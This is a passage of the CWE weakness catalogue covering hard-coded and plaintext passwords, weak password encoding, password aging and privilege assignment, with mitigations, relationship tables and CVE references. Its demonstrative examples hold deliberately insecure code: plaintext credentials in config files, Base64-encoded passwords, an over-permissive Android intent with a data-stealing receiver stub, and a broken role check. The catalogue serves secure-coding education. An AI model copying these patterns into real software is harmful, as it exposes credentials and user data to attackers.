<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.
Potential Mitigations

Architecture and Design
For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Architecture and Design
For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a “first login” mode that requires the user to enter a unique strong password.

Architecture and Design
Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Architecture and Design
For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Architecture and Design
For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>700</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>950</td>
<td>SFP Secondary Cluster: Hardcoded Sensitive Data</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>C</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
<td>1000</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Password Management: Hard-Coded Password</td>
</tr>
</tbody>
</table>
CWE-260: Password in Configuration File

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Use of hard-coded password</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>CERT Java Secure Coding Software Fault Patterns</td>
<td>MSC03-J</td>
<td>SFP33</td>
<td>Never hard code sensitive information</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>190</td>
<td>Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content</td>
<td></td>
</tr>
<tr>
<td>191</td>
<td>Read Sensitive Strings Within an Executable</td>
<td></td>
</tr>
</tbody>
</table>

White Box Definitions

Definition: A weakness where code path has:
1. end statement that passes a data item to a password function
2. value of the data item is a constant

References


Maintenance Notes

This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. See extended description.

CWE-260: Password in Configuration File

<table>
<thead>
<tr>
<th>Weakness ID: 260 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software stores a password in a configuration file that might be accessible to actors who do not know the password.

Extended Description
This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity

Demonstrative Examples

Example 1:
Below is a snippet from a Java properties file.

Java Example:

```java
webapp.ldap.username = secretUsername
webapp.ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

Example 2:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

```
...
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc"/>
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-13.

**Potential Mitigations**

**Architecture and Design**

Avoid storing passwords in easily accessible locations.

**Architecture and Design**

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

**Affected Resources**

- File/Directory

**Taxonomy Mappings**

- 7 Pernicious Kingdoms: Password Management: Password in Configuration File

**References**


**CWE-261: Weak Cryptography for Passwords**

**Weakness ID: 261 (Weakness Variant)**

**Description**

**Summary**

Obscuring a password with a trivial encoding does not protect the password.

**Time of Introduction**
CWE Version 2.11
CWE-261: Weak Cryptography for Passwords

- Architecture and Design

Applicable Platforms

Languages
- All

Common Consequences

Access Control
Gain privileges / assume identity

Demonstrative Examples

Example 1:
The following code reads a password from a properties file and uses the password to connect to a database.

Java Example:

```java
... Properties prop = new Properties(); prop.load(new FileInputStream("config.properties"); String password = Base64.decode(prop.getProperty("password"); DriverManager.getConnection(url, usr, password); ...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2:
The following code reads a password from the registry and uses the password to create a new network credential.

C# Example:

```csharp
... string value = regKey.GetValue(passKey).ToString(); byte[] decVal = Convert.FromBase64String(value); NetworkCredential netCred = new NetworkCredential(username, decVal.ToString(), domain); ...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Other Notes

Password management issues occur when a password is stored in plaintext in an application’s properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE-262: Not Using Password Aging

**Mapped Taxonomy Name** | **Node ID** | **Fit** | **Mapped Node Name**
---|---|---|---
7 Pernicious Kingdoms |  |  | Password Management: Weak Cryptography
OWASP Top Ten 2004 | A8 | CWE More Specific | Insecure Storage

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>55</td>
<td>Rainbow Table Password Cracking</td>
<td></td>
</tr>
</tbody>
</table>

**References**


**CWE-262: Not Using Password Aging**

**Weakness ID:** 262 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Access Control
  - Gain privileges / assume identity
    - As passwords age, the probability that they are compromised grows.

**Likelihood of Exploit**

- Very Low

**Demonstrative Examples**

**Example 1:**

A common example is not having a system to terminate old employee accounts.

**Example 2:**

Not having a system for enforcing the changing of passwords every certain period.

**Potential Mitigations**

**Architecture and Design**

The recommendation that users change their passwords regularly and do not reuse passwords is universal among security experts. In order to enforce this, it is useful to have a password aging mechanism that notifies users when passwords are considered old and that requests that they replace them with new, strong passwords. In order for this functionality to be useful, however, it must be accompanied with documentation which stresses how important this practice is and which makes the entire process as simple as possible for the user.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>255</td>
<td>Credentials Management</td>
<td>699 454</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td>1000 468</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>1000 508</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
<td>1000 546</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>1000 570</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>1000 700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
<td>888 1377</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-263: Password Aging with Long Expiration

Nature  Type  ID  Name
(MemberOf  V  884  CWE Cross-section  884  1323

Taxonomy Mappings
Mapped Taxonomy Name  Mapped Node Name
CLASP  Not allowing password aging

Related Attack Patterns
CAPEC-ID  Attack Pattern Name  (CAPEC Version 2.10)
16  Dictionary-based Password Attack
49  Password Brute Forcing
55  Rainbow Table Password Cracking
70  Try Common(default) Usernames and Passwords

References

CWE-263: Password Aging with Long Expiration

Weakness ID: 263 (Weakness Base)  Status: Draft

Description
Summary
Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

Extended Description
Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
Access Control
Gain privileges / assume identity
As passwords age, the probability that they are compromised grows.

Likelihood of Exploit
Very Low

Demonstrative Examples
Example 1:
A common example is not having a system to terminate old employee accounts.

Example 2:
Not having a system for enforcing the changing of passwords every certain period.

Potential Mitigations
Architecture and Design
Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

Relationships
Nature  Type  ID  Name  V  Page
ChildOf  C  255  Credentials Management  699  454
ChildOf  C  287  Improper Authentication  1000  508
ChildOf  B  404  Improper Resource Shutdown or Release  1000  700
ChildOf  C  951  SFP Secondary Cluster: Insecure Authentication Policy  888  1377
CWE-264: Permissions, Privileges, and Access Controls

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
PeerOf | v | 262 | Not Using Password Aging | 1000 467
MemberOf | v | 884 | CWE Cross-section | 884 1323

Taxonomy Mappings
Mapped Taxonomy Name | Mapped Node Name
--- | ---
CLASP | Allowing password aging

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>16</td>
<td>Dictionary-based Password Attack</td>
<td></td>
</tr>
<tr>
<td>49</td>
<td>Password Brute Forcing</td>
<td></td>
</tr>
<tr>
<td>55</td>
<td>Rainbow Table Password Cracking</td>
<td></td>
</tr>
<tr>
<td>70</td>
<td>Try Common(default) Usernames and Passwords</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-264: Permissions, Privileges, and Access Controls

**Category ID:** 264 (Category)

**Status:** Incomplete

**Description**

**Summary**
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

**Applicable Platforms**

**Languages**

- All

**Detection Methods**

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer
  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
CWE Version 2.11
CWE-265: Privilege / Sandbox Issues

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Potential Mitigations
Architecture and Design
Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>282</td>
<td>Improper Ownership Management</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>283</td>
<td>Unverified Ownership</td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>284</td>
<td>Improper Access Control</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td></td>
<td>635</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Permissions, Privileges, and ACLs</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>Blue Boxing</td>
</tr>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
</tr>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>58</td>
<td>Restful Privilege Elevation</td>
</tr>
<tr>
<td>69</td>
<td>Target Programs with Elevated Privileges</td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
</tr>
</tbody>
</table>

References


CWE-265: Privilege / Sandbox Issues

<table>
<thead>
<tr>
<th>Category ID: 265 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
</tbody>
</table>
Summary
Weaknesses in this category occur with improper enforcement of sandbox environments, or the
improper handling, assignment, or management of privileges.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Compare binary / bytecode to application permission manifest
Cost effective for partial coverage:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis

Manually Static Analysis - Binary / Bytecode

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit
  mechanisms work, ensure host configuration meets certain predefined criteria

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker
- Permission Manifest Analysis

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Cost effective for partial coverage:
- Attack Modeling

Potential Mitigations
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>268</td>
<td>Privilege Chaining</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>619</td>
<td>Dangling Database Cursor (‘Cursor Injection’)</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
<td>699</td>
</tr>
</tbody>
</table>

Relationship Notes
This can strongly overlap authorization errors.

Research Gaps
Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Theoretical Notes
A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

It could be argued that any privilege problem occurs within the context of a sandbox.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Privilege / sandbox errors</td>
</tr>
</tbody>
</table>

CWE-266: Incorrect Privilege Assignment

<table>
<thead>
<tr>
<th>Weakness ID:</th>
<th>266 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

**Summary**
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Language-independent

Common Consequences
Access Control

Gain privileges / assume identity

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

Demonstrative Examples

Example 1:
Evidence of privilege change:

C Example:
```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Java Example:
```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
});
```

Example 2:
This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Java Example:
```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Java Example:
```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user’s data.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1193</td>
<td>untrusted user placed in unix &quot;wheel&quot; group</td>
</tr>
<tr>
<td>CVE-2004-0274</td>
<td>Product mistakenly assigns a particular status to an entity, leading to increased privileges.</td>
</tr>
<tr>
<td>CVE-2005-2496</td>
<td>Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.</td>
</tr>
<tr>
<td>CVE-2005-2741</td>
<td>Product allows users to grant themselves certain rights that can be used to escalate privileges.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
CWE Version 2.11
CWE-267: Privilege Defined With Unsafe Actions

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.266.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

Affected Resources

- System Process

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

References


CWE-267: Privilege Defined With Unsafe Actions

Weakness ID: 267 (Weakness Base) Status: Incomplete

Description

Summary

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences
Access Control
Gain privileges / assume identity
A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

Demonstrative Examples
This code intends to allow only Administrators to print debug information about a system.

Java Example:

```java
public enum Roles {
    ADMIN, USER, GUEST
}

public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    } else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0315</td>
<td>Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).</td>
</tr>
<tr>
<td>CVE-2000-0506</td>
<td>User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2000-1212</td>
<td>User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2001-1166</td>
<td>User with debugging rights can read entire process (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2001-1480</td>
<td>Untrusted entity allowed to access the system clipboard (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2001-1551</td>
<td>Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2002-1145</td>
<td>&quot;public&quot; database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2002-1154</td>
<td>Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities).</td>
</tr>
<tr>
<td>CVE-2002-1671</td>
<td>Untrusted object/method gets access to clipboard (Accessible entities).</td>
</tr>
<tr>
<td>CVE-2002-1981</td>
<td>Roles have access to dangerous procedures (Accessible entities).</td>
</tr>
<tr>
<td>CVE-2002-2042</td>
<td>Allows attachment to and modification of privileged processes (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2004-0380</td>
<td>Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities).</td>
</tr>
<tr>
<td>CVE-2004-2204</td>
<td>Gain privileges using functions/tags that should be restricted (Accessible entities).</td>
</tr>
<tr>
<td>CVE-2005-1742</td>
<td>Inappropriate actions allowed by a particular role(Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2005-1816</td>
<td>Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2005-2027</td>
<td>Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions).</td>
</tr>
<tr>
<td>CVE-2005-2173</td>
<td>Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions).</td>
</tr>
</tbody>
</table>

Potential Mitigations
CWE Version 2.11
CWE-268: Privilege Chaining

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.267.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>S</td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scripting</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Unsafe Privilege</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>58</td>
<td>Restful Privilege Elevation</td>
<td></td>
</tr>
